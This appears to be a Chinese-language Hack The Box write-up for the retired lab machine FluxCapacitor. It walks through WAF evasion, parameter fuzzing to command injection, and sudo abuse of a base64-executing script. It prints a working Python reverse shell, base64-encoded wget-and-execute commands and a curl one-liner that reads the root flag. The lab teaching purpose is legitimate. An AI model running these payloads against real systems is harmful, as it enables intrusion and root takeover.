1. 程式人生 > 實用技巧 >HTB-靶機-FluxCapacitor

HTB-靶機-FluxCapacitor

本篇文章僅用於技術交流學習和研究的目的,嚴禁使用文章中的技術用於非法目的和破壞,否則造成一切後果與發表本文章的作者無關

靶機是作者購買VIP使用退役靶機操作,顯示IP地址為10.10.10.69

本次使用https://github.com/Tib3rius/AutoRecon 進行自動化全方位掃描

執行命令autorecon 10.10.10.69 -o ./FluxCapacitor-autorecon

就開了個80埠,訪問看看

沒發現啥東西,用burpsuite重放看看

發現提示含有sync路徑,同時根據顯示的響應資訊,得知目標靶機存在SuperWAF,先訪問看看

顯示403,這個如果玩過WAF,就知道是顯示被WAF攔截了,看到顯示的403資訊是openresty之類的,猜測可能就是基於openresty定製改版的WAF,那麼我們需要繞過WAF ,下面是繞過WAF的兩篇文章,是靶機作者提供的,具體連結如下:

https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0

經過大量測試,發現目標WAF會基於User-Agent進行判斷識別進行攔截操作

更改User-Agent頭髮現就能正常訪問,看上面的顯示是一個日期時間,猜測有可能存在命令執行,也有可能存在shellshock,我們模糊測試命令執行看看,具體操作如下

wfuzz -c -L -t 500 --hh=19 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.69/sync?FUZZ=ls | tee bmfxfuzz.log
引數解釋:
--hh=19 是表示HTTP響應Content-Length: 19的時候就隱藏 -t 500 指定併發連線數 -L 跟隨HTTP重定向 -c 輸出帶顏色 -w 指定字典,也可以像下面使用方式一樣使用-z引數然後帶file指定字典 -u 指定url

也可以另外一種形式

wfuzz -c -L -t 500 --hh=BBB -H "User-Agent:bmfx" -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.69/sync?FUZZ{not_this}=test

最終確認存在命令執行的引數是opt ,但是我嘗試執行下命令,發現被WAF攔截了

此時需要繞過,可以參考上面我提供的兩個繞過WAF的文章,這裡通過模糊測試挖掘出可進行繞過WAF的引數

wfuzz -c -L -t 500 -w /usr/share/seclists/Fuzzing/special-chars.txt -u http://10.10.10.69/sync?opt=FUZZ | tee bmfxchar_fuzz.log

通過上面就可以 知道哪些繞過字元可以使用,哪些不可以,經過測試確認可以使用反斜槓加空格進行繞過

既然可以命令執行,那麼也順便執行下sudo -l看看

發現存在一個隱藏檔案可以通過sudo以root身份執行shell指令碼程式碼,那麼我們可以通過這種命令執行的方式直接反彈shell,操作之前先看看指令碼內容

大概意思就是執行shell的第一個位置必須是cmd 後面的第二個引數會通過base64進行解碼,解碼完成之後就執行此shell程式碼,知道意思就好辦,我們本地假設好簡易web,然後做好python的反彈shell,再通過base64編碼,得到如下結果:

反彈shell

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.5",8833)) #CHANGE THIS
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1) 
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])


base64編碼
echo "wget 10.10.14.5/shellbmfx.py -P /tmp" | base64
d2dldCAxMC4xMC4xNC41L3NoZWxsYm1meC5weSAtUCAvdG1wCg==

檢視是否成功

確認成功了,然後確認目標是python2版本還是python3版本

本地監聽埠觸發反彈shell程式碼

echo "python3 /tmp/shellbmfx.py" | base64
cHl0aG9uMyAvdG1wL3NoZWxsYm1meC5weQo=

sudo /home/themiddle/.monit cmd c\H\l\0aG9uMyAvdG1wL3NoZWxsYm1meC5weQo=

PS:本靶機還可以通過curl命令直接讀取root.txt

curl -s "http://10.10.10.69/sync?opt='\{ sudo /home/themiddle/.monit cmd Y2F0IC9yb290L3Jvb3QudHh0 \}'"